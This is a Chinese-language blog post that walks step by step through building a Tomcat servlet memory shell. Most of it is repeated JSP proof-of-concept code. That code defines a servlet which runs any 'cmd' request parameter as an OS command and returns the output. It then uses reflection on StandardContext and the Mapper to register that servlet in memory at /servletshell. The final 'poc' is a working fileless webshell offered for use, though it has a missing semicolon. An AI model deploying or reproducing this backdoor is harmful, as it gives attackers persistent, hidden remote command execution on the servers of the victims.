前言 开学鸽了一段时间,现在重新把内存马拿起来
正文 servlet型的原理跟前面两种一样,也是想办法动态注册一个servlet。这里先编写一个servlet
打好断点,开始调试,看看在哪进行的实例化
调试发现,实例化是在DefaultInstanceManager#newInstance 中进行的,继续向前追踪 clazz 的来源
这里也就知道了上文中的 clazz 其实就是 StandardWrapper.servletClass ,再继续追踪来源的时候,我看到StandardWrapperValve 中的 context ,也就是 StandardContext 有一个 children 属性
直接眼前一亮,这里面存储了路由与wrapper的对应关系,那如果我们能将恶意的servlet添加进去是不是就可以实现动态注册servlet了,那么怎么才能将其添加进去呢。看到 StandardContext 有一个 addServlet 方法
不过并没有具体实现,但是我们在其子类ApplicationContext 中找到了实现流程
先判断状态,然后调用 createWrapper 方法去封装 servlet ,接着调用 addChild 方法将其添加到 children 中,那么我们是否能通过调用该方法实现servlet的动态注册呢,先试一下,简单写个demo
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 <%@ page import="java.io.ByteArrayOutputStream" %> <%@ page import="java.io.IOException" %> <%@ page import="java.io.InputStream" %> <%@ page import="java.io.Writer" %> <%@ page import="java.lang.reflect.Field" %> <%@ page import="org.apache.catalina.core.ApplicationContext" %> <%@ page import="org.apache.catalina.core.StandardContext" %> <%@ page import="java.lang.reflect.Method" %> <%@ page contentType="text/html;charset=UTF-8" language="java" %> <% class Servletshell extends HttpServlet { @Override protected void doGet (HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { String cmd=req.getParameter ("cmd" ); if (cmd!=null ){ InputStream in = Runtime.getRuntime ().exec ("cmd /c " +cmd).getInputStream (); ByteArrayOutputStream baos = new ByteArrayOutputStream (); byte[] b = new byte[1024 ]; int a = -1 ; while ((a = in.read (b)) != -1 ) { baos.write (b, 0 , a); } Writer writer=resp.getWriter (); writer.write (new String (baos.toByteArray ())); writer.flush (); } } @Override protected void doPost (HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { super.doPost (req, resp); } } %> <% ServletContext servletContext = request.getSession ().getServletContext (); Field appctx = servletContext.getClass ().getDeclaredField ("context" ); appctx.setAccessible (true ); ApplicationContext applicationContext = (ApplicationContext) appctx.get (servletContext); Field stdctx = applicationContext.getClass ().getDeclaredField ("context" ); stdctx.setAccessible (true ); StandardContext standardContext = (StandardContext) stdctx.get (applicationContext); Field state=Class.forName ("org.apache.catalina.util.LifecycleBase" ).getDeclaredField ("state" ); state.setAccessible (true ); state.set (standardContext,org.apache.catalina.LifecycleState.STARTING_PREP); String servletName="servletShell" ; String servletClass="servletShell.class" ; Class serletC=Servletshell.class ; Method addServlet=Class.forName ("org.apache.catalina.core.ApplicationContext" ).getDeclaredMethod ("addServlet" , String.class , Class.class ); addServlet.invoke (applicationContext,servletName,serletC); System.out.println (standardContext.findChildren ()); %>
可以看到我们自定义的servlet已经插入到 children 里了,不过还有一个问题,这没有匹配的路由啊
所以我们还得想办法将路由对应到 servlet-name
可以看到有 addServletMapping 方法,试试看
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 <%@ page import="java.io.ByteArrayOutputStream" %> <%@ page import="java.io.IOException" %> <%@ page import="java.io.InputStream" %> <%@ page import="java.io.Writer" %> <%@ page import="java.lang.reflect.Field" %> <%@ page import="org.apache.catalina.core.ApplicationContext" %> <%@ page import="org.apache.catalina.core.StandardContext" %> <%@ page import="java.lang.reflect.Method" %> <%@ page contentType="text/html;charset=UTF-8" language="java" %> <% class Servletshell extends HttpServlet { @Override protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { String cmd=req.getParameter("cmd"); if(cmd!=null){ InputStream in = Runtime.getRuntime().exec("cmd /c "+cmd).getInputStream(); ByteArrayOutputStream baos = new ByteArrayOutputStream(); byte[] b = new byte[1024]; int a = -1; while ((a = in.read(b)) != -1) { baos.write(b, 0, a); } Writer writer=resp.getWriter(); writer.write(new String(baos.toByteArray())); writer.flush(); } } @Override protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { super.doPost(req, resp); } } %> <% //获取context ServletContext servletContext = request.getSession().getServletContext(); Field appctx = servletContext.getClass().getDeclaredField("context"); appctx.setAccessible(true); ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext); Field stdctx = applicationContext.getClass().getDeclaredField("context"); stdctx.setAccessible(true); StandardContext standardContext = (StandardContext) stdctx.get(applicationContext); //修改状态 Field state=Class.forName("org.apache.catalina.util.LifecycleBase").getDeclaredField("state"); state.setAccessible(true); state.set(standardContext,org.apache.catalina.LifecycleState.STARTING_PREP); //尝试注入 String servletName="servletShell"; String urlpattern="/servletshell"; Class serletC=Servletshell.class; Method addServlet=Class.forName("org.apache.catalina.core.ApplicationContext").getDeclaredMethod("addServlet", String.class, Class.class); addServlet.invoke(applicationContext,servletName,serletC); Method addServletMapping=Class.forName("org.apache.catalina.core.StandardContext").getDeclaredMethod("addServletMapping", String.class, String.class); addServletMapping.invoke(standardContext,urlpattern,servletName); System.out.println(standardContext.findChildren()); %>
可以看到已经添加进去了,但是访问该路由却是503,并且正常页面也变成503了,猜测是破坏了内存中的结构之类的
不好意思,是我sb了,没把状态修改回来。只需要在后面添加如下代码
1 2 3 if(state!=null){ state.set(standardContext,org.apache.catalina.LifecycleState.STARTED); }
不过,访问变成了404
现在来分析一下为啥没有正常访问到,在 ApplicationFilterChain#`internalDoFilter 中调用 servlet 的 service` 方法处打个断点
可以看到这里获取到的是 DefaultServlet ,而不是我们注入的 ServletShell ,我们现在就来追踪一下这个servlet的来源,该servlet是通过 setServlet 方法进行赋值的,在该方法处打个断点
在ApplicationFilterFactor#createFilterChain方法中调用该方法进行赋值
继续往前追踪,在StandardWrapperValv#invoke可以看到
servlet是 wrapper.allocate 的返回值,跟进一下这个方法
简单看一下可知,这里是返回了 instance 属性的值,那么此时我们要继续追寻 instance 属性的来源,直接看一下 wrapper 是咋来的
跟进 getContainer
对应的赋值方法为 setContainer ,在那打个断点,然后没断下来,说明没有调用到该方法,然后看到上层的StandardContextValve#invoke
可以看到wrapper已经被赋值了,该 wrapper是从 request中获取的,那么我们又要继续追溯 request 对象的来源了,看到org.apache.catalina.connector.CoyoteAdapter#service
这里获取了 request 对象,然后在下面调用了postParseRequest 处理
跟进
这里算是一个关键地方,后面就是map方面的操作了
跟踪到这里,也就是org.apache.catalina.mappe.Mapper#internalMap的时候,发现了一个关键的属性 contextVersion
可以看到 contextVersion中的 exactWrappers 中存储了我们自定义的其他两个servlet的 wrapper ,但是我们动态注入进去的servlet却没有,这貌似也就解释了响应码是404的原因。那么如果我们能将需要注入的servlet的wrapper添加到这里面,就可以成功了呢?说干就干,先找一下有没有方法可以将wrapper插入进去,还真有一个 addWrapper 方法
要使用这个方法,我们就需要获取到 contextVersion ,还要创建一个自定义的 wrapper
先解决第一个问题 — 获取 contextVersion
无意之间看到了这么一行代码
然后去看了看 contextObjectToContextVersionMap
里面果然存储了 contextVersion ,那么我们也就可以通过这个属性获取到 contextVersion,那么现在的问题就变成了获取contextObjectToContextVersionMap ,只要我们获取到这个mapper对象,也就可以顺理成章的获取到这个属性。所以问题又变成了获取mapper对象,这时我们看到之前说的那个关键操作点
这里先获取到service属性在调用 getMapper 获取到 mapper 对象,那么我们现在就要想办法去获取到这个 StandardService ,后面调试了半天,到处追踪,终于看到了希望
可以看到在 ApplicationContext 中有 service 这个属性,而 ApplicationContext 我们已经能够获取到了,所以问题圆满解决。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 //获取service属性 Field servicef=applicationContext.getClass().getDeclaredField("service"); servicef.setAccessible(true); StandardService service=(StandardService) servicef.get(applicationContext); //获取mapper Mapper mapper=service.getMapper(); //获取contextVersion Field contextObjectToContextVersionMapf=mapper.getClass().getDeclaredField("contextObjectToContextVersionMap"); contextObjectToContextVersionMapf.setAccessible(true); ConcurrentHashMap contextObjectToContextVersionMap=(ConcurrentHashMap) contextObjectToContextVersionMapf.get(mapper); Object contextVersion=contextObjectToContextVersionMap.get(standardContext); //调用addWrapper方法 Class[] classes=mapper.getClass().getDeclaredClasses(); Class classt=classes[1]; Method addWrapper=mapper.getClass().getDeclaredMethod("addWrapper", classt, String.class, Wrapper.class, boolean.class, boolean.class); addWrapper.setAccessible(true); addWrapper.invoke(mapper,contextVersion,"/servletshell",shellWrapper,false,false); System.out.println("ook");
继续看第二个问题 — 创建自定义 wrapper
在 StandardContext中,存在 createWrapper 方法,我们可以通过该方法来创建自定义的 wrapper
1 2 3 4 //创建自定义wrapper StandardWrapper shellWrapper=(StandardWrapper) standardContext.createWrapper(); shellWrapper.setServlet(shell); shellWrapper.setServletClass(shell.getClass().getName());
然后我们组合一下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 <%@ page import="java.io.ByteArrayOutputStream" %> <%@ page import="java.io.IOException" %> <%@ page import="java.io.InputStream" %> <%@ page import="java.io.Writer" %> <%@ page import="java.lang.reflect.Field" %> <%@ page import="org.apache.catalina.core.ApplicationContext" %> <%@ page import="org.apache.catalina.core.StandardContext" %> <%@ page import="java.lang.reflect.Method" %> <%@ page import="org.apache.catalina.core.StandardWrapper" %> <%@ page import="org.apache.catalina.core.StandardService" %> <%@ page import="org.apache.catalina.mapper.Mapper" %> <%@ page import="org.apache.catalina.Wrapper" %> <%@ page import="java.util.concurrent.ConcurrentHashMap" %> <%@ page contentType="text/html;charset=UTF-8" language="java" %> <% class Servletshell extends HttpServlet { @Override protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { String cmd=req.getParameter("cmd"); if(cmd!=null){ InputStream in = Runtime.getRuntime().exec("cmd /c "+cmd).getInputStream(); ByteArrayOutputStream baos = new ByteArrayOutputStream(); byte[] b = new byte[1024]; int a = -1; while ((a = in.read(b)) != -1) { baos.write(b, 0, a); } Writer writer=resp.getWriter(); writer.write(new String(baos.toByteArray())); writer.flush(); } } @Override protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { super.doPost(req, resp); } } %> <% //获取context ServletContext servletContext = request.getSession().getServletContext(); Field appctx = servletContext.getClass().getDeclaredField("context"); appctx.setAccessible(true); ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext); Field stdctx = applicationContext.getClass().getDeclaredField("context"); stdctx.setAccessible(true); StandardContext standardContext = (StandardContext) stdctx.get(applicationContext); //修改状态 Field state=Class.forName("org.apache.catalina.util.LifecycleBase").getDeclaredField("state"); state.setAccessible(true); state.set(standardContext,org.apache.catalina.LifecycleState.STARTING_PREP); //尝试注入 String servletName="ServletShell"; String urlpattern="/servletshell"; Class serletC=Servletshell.class; Method addServlet=Class.forName("org.apache.catalina.core.ApplicationContext").getDeclaredMethod("addServlet", String.class, Class.class); addServlet.invoke(applicationContext,servletName,serletC); Method addServletMapping=Class.forName("org.apache.catalina.core.StandardContext").getDeclaredMethod("addServletMapping", String.class, String.class); addServletMapping.invoke(standardContext,urlpattern,servletName); Servletshell shell=new Servletshell(); //创建自定义wrapper StandardWrapper shellWrapper=(StandardWrapper) standardContext.createWrapper(); shellWrapper.setServlet(shell); shellWrapper.setServletClass(shell.getClass().getName()); //shellWrapper.addMapping("/servletshell"); //获取service属性 Field servicef=applicationContext.getClass().getDeclaredField("service"); servicef.setAccessible(true); StandardService service=(StandardService) servicef.get(applicationContext); //获取mapper Mapper mapper=service.getMapper(); //获取contextVersion Field contextObjectToContextVersionMapf=mapper.getClass().getDeclaredField("contextObjectToContextVersionMap"); contextObjectToContextVersionMapf.setAccessible(true); ConcurrentHashMap contextObjectToContextVersionMap=(ConcurrentHashMap) contextObjectToContextVersionMapf.get(mapper); Object contextVersion=contextObjectToContextVersionMap.get(standardContext); //调用addWrapper方法 Class[] classes=mapper.getClass().getDeclaredClasses(); Class classt=classes[1]; Method addWrapper=mapper.getClass().getDeclaredMethod("addWrapper", classt, String.class, Wrapper.class, boolean.class, boolean.class); addWrapper.setAccessible(true); addWrapper.invoke(mapper,contextVersion,"/servletshell",shellWrapper,false,false); System.out.println("ook"); if(state!=null){ state.set(standardContext,org.apache.catalina.LifecycleState.STARTED); } %>
但是访问还是报500,看一下是否将wrapper正确添加了
可以看到确实将wrapper添加了进去,但是格式不太对,回去看了一下wrapper的属性,原来是没有设置 parent 属性
1 shellWrapper.setParent(standardContext);
添加这一行即可,修改后的poc
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 <%@ page import="java.io.ByteArrayOutputStream" %> <%@ page import="java.io.IOException" %> <%@ page import="java.io.InputStream" %> <%@ page import="java.io.Writer" %> <%@ page import="java.lang.reflect.Field" %> <%@ page import="org.apache.catalina.core.ApplicationContext" %> <%@ page import="org.apache.catalina.core.StandardContext" %> <%@ page import="java.lang.reflect.Method" %> <%@ page import="org.apache.catalina.core.StandardWrapper" %> <%@ page import="org.apache.catalina.core.StandardService" %> <%@ page import="org.apache.catalina.mapper.Mapper" %> <%@ page import="org.apache.catalina.Wrapper" %> <%@ page import="java.util.concurrent.ConcurrentHashMap" %> <%@ page contentType="text/html;charset=UTF-8" language="java" %> <% class Servletshell extends HttpServlet { @Override protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { String cmd=req.getParameter("cmd"); if(cmd!=null){ InputStream in = Runtime.getRuntime().exec("cmd /c "+cmd).getInputStream(); ByteArrayOutputStream baos = new ByteArrayOutputStream(); byte[] b = new byte[1024]; int a = -1; while ((a = in.read(b)) != -1) { baos.write(b, 0, a); } Writer writer=resp.getWriter(); writer.write(new String(baos.toByteArray())); writer.flush(); } } @Override protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { super.doPost(req, resp); } } %> <% //获取context ServletContext servletContext = request.getSession().getServletContext(); Field appctx = servletContext.getClass().getDeclaredField("context"); appctx.setAccessible(true); ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext); Field stdctx = applicationContext.getClass().getDeclaredField("context"); stdctx.setAccessible(true); StandardContext standardContext = (StandardContext) stdctx.get(applicationContext); //修改状态 Field state=Class.forName("org.apache.catalina.util.LifecycleBase").getDeclaredField("state"); state.setAccessible(true); state.set(standardContext,org.apache.catalina.LifecycleState.STARTING_PREP); //尝试注入 String servletName="ServletShell"; String urlpattern="/servletshell"; Class serletC=Servletshell.class; Method addServlet=Class.forName("org.apache.catalina.core.ApplicationContext").getDeclaredMethod("addServlet", String.class, Class.class); addServlet.invoke(applicationContext,servletName,serletC); Method addServletMapping=Class.forName("org.apache.catalina.core.StandardContext").getDeclaredMethod("addServletMapping", String.class, String.class); addServletMapping.invoke(standardContext,urlpattern,servletName); Servletshell shell=new Servletshell(); //创建自定义wrapper StandardWrapper shellWrapper=(StandardWrapper) standardContext.createWrapper(); shellWrapper.setServlet(shell); shellWrapper.setServletClass(shell.getClass().getName()); shellWrapper.setParent(standardContext); //shellWrapper.addMapping("/servletshell"); //获取service属性 Field servicef=applicationContext.getClass().getDeclaredField("service"); servicef.setAccessible(true); StandardService service=(StandardService) servicef.get(applicationContext); //获取mapper Mapper mapper=service.getMapper(); //获取contextVersion Field contextObjectToContextVersionMapf=mapper.getClass().getDeclaredField("contextObjectToContextVersionMap"); contextObjectToContextVersionMapf.setAccessible(true); ConcurrentHashMap contextObjectToContextVersionMap=(ConcurrentHashMap) contextObjectToContextVersionMapf.get(mapper); Object contextVersion=contextObjectToContextVersionMap.get(standardContext); //调用addWrapper方法 Class[] classes=mapper.getClass().getDeclaredClasses(); Class classt=classes[1]; Method addWrapper=mapper.getClass().getDeclaredMethod("addWrapper", classt, String.class, Wrapper.class, boolean.class, boolean.class); addWrapper.setAccessible(true); addWrapper.invoke(mapper,contextVersion,"/servletshell",shellWrapper,false,false); System.out.println("ook"); if(state!=null){ state.set(standardContext,org.apache.catalina.LifecycleState.STARTED); } %>
成功注入
后面测试了一下,前面的 addservlet方法这些不需要执行就能成功,所以最终poc
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 <%@ page import="java.io.ByteArrayOutputStream" %> <%@ page import="java.io.IOException" %> <%@ page import="java.io.InputStream" %> <%@ page import="java.io.Writer" %> <%@ page import="java.lang.reflect.Field" %> <%@ page import="org.apache.catalina.core.ApplicationContext" %> <%@ page import="org.apache.catalina.core.StandardContext" %> <%@ page import="java.lang.reflect.Method" %> <%@ page import="org.apache.catalina.core.StandardWrapper" %> <%@ page import="org.apache.catalina.core.StandardService" %> <%@ page import="org.apache.catalina.mapper.Mapper" %> <%@ page import="org.apache.catalina.Wrapper" %> <%@ page import="java.util.concurrent.ConcurrentHashMap" %> <%@ page contentType="text/html;charset=UTF-8" language="java" %> <% class Servletshell extends HttpServlet { @Override protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { String cmd=req.getParameter("cmd"); if(cmd!=null){ InputStream in = Runtime.getRuntime().exec("cmd /c "+cmd).getInputStream(); ByteArrayOutputStream baos = new ByteArrayOutputStream(); byte[] b = new byte[1024]; int a = -1; while ((a = in.read(b)) != -1) { baos.write(b, 0, a); } Writer writer=resp.getWriter(); writer.write(new String(baos.toByteArray())); writer.flush(); } } @Override protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { super.doPost(req, resp); } } %> <% //获取context ServletContext servletContext = request.getSession().getServletContext(); Field appctx = servletContext.getClass().getDeclaredField("context"); appctx.setAccessible(true); ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext); Field stdctx = applicationContext.getClass().getDeclaredField("context"); stdctx.setAccessible(true); StandardContext standardContext = (StandardContext) stdctx.get(applicationContext); //创建自定义wrapper Servletshell shell=new Servletshell() StandardWrapper shellWrapper=(StandardWrapper) standardContext.createWrapper(); shellWrapper.setServlet(shell); shellWrapper.setServletClass(shell.getClass().getName()); shellWrapper.setParent(standardContext); //获取service属性 Field servicef=applicationContext.getClass().getDeclaredField("service"); servicef.setAccessible(true); StandardService service=(StandardService) servicef.get(applicationContext); //获取mapper Mapper mapper=service.getMapper(); //获取contextVersion Field contextObjectToContextVersionMapf=mapper.getClass().getDeclaredField("contextObjectToContextVersionMap"); contextObjectToContextVersionMapf.setAccessible(true); ConcurrentHashMap contextObjectToContextVersionMap=(ConcurrentHashMap) contextObjectToContextVersionMapf.get(mapper); Object contextVersion=contextObjectToContextVersionMap.get(standardContext); //调用addWrapper方法 Class[] classes=mapper.getClass().getDeclaredClasses(); Class classt=classes[1]; Method addWrapper=mapper.getClass().getDeclaredMethod("addWrapper", classt, String.class, Wrapper.class, boolean.class, boolean.class); addWrapper.setAccessible(true); addWrapper.invoke(mapper,contextVersion,"/servletshell",shellWrapper,false,false); %>
简短了很多
总结 在实现servlet内存马的过程中,没有像以前一样,完全照着资料做,大部分都是自己来调试,花的时间确实要多了一些,不过感觉这样的影响更深刻,还可以有一些自己的理解,感觉很好。不过因为许多是自己的理解,所以肯定会有错误的地方,希望各位师傅不吝赐教。